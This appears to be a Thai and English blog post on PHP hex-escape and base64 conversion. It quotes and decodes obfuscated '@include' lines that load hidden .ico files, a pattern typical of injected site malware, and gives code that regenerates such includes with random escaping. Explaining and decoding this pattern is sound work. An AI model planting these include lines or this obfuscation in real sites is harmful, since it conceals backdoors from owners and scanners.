• May 14, 2018

    I want to convert normal text to \x codes for e.g \x14\x65\x60

    For example :

    normal text = "base64_decode"
    converted \x codes for above text = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65"

    How to do this? Thanks in advance.

    ANS

    PHP 5.3 one-liner

    <?php
    echo preg_replace_callback("/./", function($matched) {
        return '\x'.dechex(ord($matched[0]));
    }, 'base64_decode');
    ?>

    Outputs

    \x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65

    ให้ค่าเหมือนกัน

    <?php
    $str = 'base64_decode';
    $length = strlen($str);
    $result = '';
    
    for ($i = 0; $i < $length; $i++) $result .= '\\x'.str_pad(dechex(ord($str[$i])),2,'0',STR_PAD_LEFT);
    
    print($result);
    ?>
    

    อันนี้ด้วย

    <?php
    function make_hexcodes($text) {
        $retval = '';
        for($i = 0; $i < strlen($text); ++$i) {
            $retval .= '\x'.dechex(ord($text[$i]));
        }
    
        return $retval;
    }
    
    echo make_hexcodes('base64_decode');
    ?>

    search คำนี้ hexcodes(‘base64_decode’);

    https://cryptii.com/base64-to-hex
    https://cryptii.com/urldecode
    https://cryptii.com/atbash-cipher
    https://cryptii.com/hash-function
    https://cryptii.com/binary-to-base64
    https://cryptii.com/text-to-base64
    https://cryptii.com/hex-decoder
    https://cryptii.com/text-decimal
    https://cryptii.com/hex-to-ascii85
    https://cryptii.com/morse-code-with-emojis

    ค้นคำ base64 encode
    https://stackoverflow.com/questions/37648273/how-to-convert-from-base64-to-hexadecimal-in-php
    how to convert from base64 to hexadecimal in php?

    <?php
    $string1 = 'V2h5IEkgY2FuJ3QgZG8gdGhpcyEhISEh';
    echo base64_decode($string1);
    ?>

    output

    Why I can't do this!!!!!

    Ex

    <?php
    $string1 = 'V2h5IEkgY2FuJ3QgZG8gdGhpcyEhISEh';
    echo base64_decode($string1); //Why I can't do this!!!!!
    echo bin2hex(base64_decode($string1)); // 57687920492063616e277420646f20746869732121212121
    ?>
    <?php
    $string1 = 'V2h5IEkgY2FuJ3QgZG8gdGhpcyEhISEh';
    echo base64_encode($string1); // VjJoNUlFa2dZMkZ1SjNRZ1pHOGdkR2hwY3lFaElTRWg=
    echo bin2hex(base64_encode($string1)); // 566a4a6f4e556c466132645a4d6b5a31536a4e525a3170484f47646b5232687759336c4661456c545257673d
    ?>

    ex

    <?php
    $string1 = 'V2h5IEkgY2FuJ3QgZG8gdGhpcyEhISEh';
    $binary = base64_decode($string1);
    $hex = bin2hex($binary);
    echo $hex;
    ?>
    
    //57687920492063616e277420646f20746869732121212121

    วิธีเข้ารหัส base64

    Online converter
    https://conv.darkbyte.ru/

    encode Text นี้
    Why I can't do this!!!!!
    
    จะได้ base64
    V2h5IEkgY2FuJ3QgZG8gdGhpcyEhISEh
    
    ได้ Hex
    57 68 79 20 49 20 63 61 6e 27 74 20 64 6f 20 74 68 69 73 21 21 21 21 21
    
    ได้ Dec
    87 104 121 32 73 32 99 97 110 39 116 32 100 111 32 116 104 105 115 33 33 33 33 33
    
    ได้ Binary
    01010111 01101000 01111001 00100000 01001001 00100000 01100011 01100001 01101110 00100111 01110100 00100000 01100100 01101111 00100000 01110100 01101000 01101001 01110011 00100001 00100001 00100001 00100001 00100001

    Base64 encode

    https://www.base64encode.net/
    http://www.utilities-online.info/base64/#.WvkOTGiFPIU
    https://codebeautify.org/base64-encode

    Why I can't do this!!!!!
    
    จะได้
    V2h5IEkgY2FuJ3QgZG8gdGhpcyEhISEh

    Image to Base64 https://www.base64encode.net/base64-image-encoder
    Base64 to Image https://www.base64decode.net/base64-image-decoder

    https://malwaredecoder.com/

    bin2hex
    http://ddecode.com/hexdecoder/?results=7edf4f13494b51b8e4b602bd3b7ebdb3

    @include "\x2fho\x6de/\x75ni\x76er\x73al\x77eb\x2fpu\x62li\x63_h\x74ml\x2fde\x73ig\x6eco\x6cle\x63ti\x6fn.\x69n/\x63od\x65ca\x6eyo\x6e/v\x69de\x6f-s\x6cid\x65r-\x62ac\x6bgr\x6fun\x64/j\x73/f\x61vi\x63on\x5f55\x360f\x64.i\x63o";
    
    จะได้
    @include "/home/universalweb/public_html/designcollection.in/codecanyon/video-slider-background/js/favicon_5560fd.ico";

    After “\x”, up to two hexadecimal digits are read (letters can be in upper or lower case). In UTF-8 mode, “\x{…}” is allowed, where the contents of the braces is a string of hexadecimal digits. It is interpreted as a UTF-8 character whose code number is the given hexadecimal number. The original hexadecimal escape sequence, \xhh, matches a two-byte UTF-8 character if the value is greater than 127.

    http://php.net/manual/en/regexp.reference.escape.php

    สร้างอย่างไร

    <?php
    
    $str = "/home/universalweb/public_html/designcollection.in/codecanyon/video-slider-background/js/favicon_5560fd.ico";
    echo $str . "<br />";
    echo bin2hex($str) . "<br />";
    
    
    ?>
    <?php
    $str = "/home/universalweb/public_html/designcollection.in/codecanyon/video-slider-background/js/favicon_5560fd.ico";
    $length = strlen($str);
    $result = '';
    
    for ($i = 0; $i < $length; $i++) $result .= '\\x'.str_pad(dechex(ord($str[$i])),2,'0',STR_PAD_LEFT);
    
    print($result);
    ?>

    จะได้

    /home/universalweb/public_html/designcollection.in/codecanyon/video-slider-background/js/favicon_5560fd.ico
    
    2f686f6d652f756e6976657273616c7765622f7075626c69635f68746d6c2f64657369676e636f6c6c656374696f6e2e696e2f636f646563616e796f6e2f766964656f2d736c696465722d6261636b67726f756e642f6a732f66617669636f6e5f3535363066642e69636f
    
    \x2f\x68\x6f\x6d\x65\x2f\x75\x6e\x69\x76\x65\x72\x73\x61\x6c\x77\x65\x62\x2f\x70\x75\x62\x6c\x69\x63\x5f\x68\x74\x6d\x6c\x2f\x64\x65\x73\x69\x67\x6e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x2e\x69\x6e\x2f\x63\x6f\x64\x65\x63\x61\x6e\x79\x6f\x6e\x2f\x76\x69\x64\x65\x6f\x2d\x73\x6c\x69\x64\x65\x72\x2d\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x2f\x6a\x73\x2f\x66\x61\x76\x69\x63\x6f\x6e\x5f\x35\x35\x36\x30\x66\x64\x2e\x69\x63\x6f

    วิธีก็ํตามโพสที่ผมโพสจาก stackoverflow นั้นแหละ แต่ว่าเขา ignore ตัวอักษรบางตัว

    <?php
    
    $str = '/home/27789/domains/caferacer.cl/html/wp-content/uploads/ithemes-security/.3cf91851.ico';
    
    $excepts = str_split('m79onacrltwupshe-183f.');
    
    $str_encoded = preg_replace_callback("/./", function($matched) use ($excepts) {
    if (in_array($matched[0], $excepts)) {
    return $matched[0];
    }
    return '\x'.dechex(ord($matched[0]));
    }, $str);
    
    echo "@include \"${str_encoded}\"";
    ?>

    ได้

    @include "\x2fhome\x2f\x327789\x2f\x64oma\x69ns\x2fcaferacer.cl\x2fhtml\x2fwp-content\x2fuploa\x64s\x2f\x69themes-secur\x69t\x79\x2f.3cf918\x351.\x69co"

    แต่ลองไล่ดู จริงๆ เขา random เอาว่าตัวไหนจะแสดงไม่แสดง เพราะไม่มี pattern ตายตัว

    <?php
    
    $str = '/home/27789/domains/caferacer.cl/html/wp-content/uploads/ithemes-security/.3cf91851.ico';
    
    $str_encoded = preg_replace_callback("/./", function($matched) {
    if (rand(0, 1)) {
    return $matched[0];
    }
    return '\x'.dechex(ord($matched[0]));
    }, $str);
    
    echo "@include \"${str_encoded}\"";
    ?>

    จะได้

     @include "/hom\x65\x2f27\x3789/\x64o\x6dain\x73\x2fc\x61\x66\x65\x72\x61\x63er\x2e\x63\x6c/\x68t\x6d\x6c/\x77\x70-c\x6fnten\x74\x2f\x75\x70\x6co\x61\x64s\x2fi\x74he\x6d\x65s-secu\x72\x69\x74\x79\x2f\x2e3\x63\x669\x31\x38\x35\x31.\x69\x63\x6f"

    สรุป ค่าที่ได้ขึ้นกับ การเขียน functions ที่กำหนดไปของแต่ละคน จึงไม่เหมือนกัน
    แต่ถอดออกมาจะได้ เหมือนกัน https://malwaredecoder.com

     



เวอไนน์ไอคอร์ส

ประหยัดเวลากว่า 100 เท่า!






เวอไนน์เว็บไซต์⚡️
สร้างเว็บไซต์ ดูแลเว็บไซต์

Categories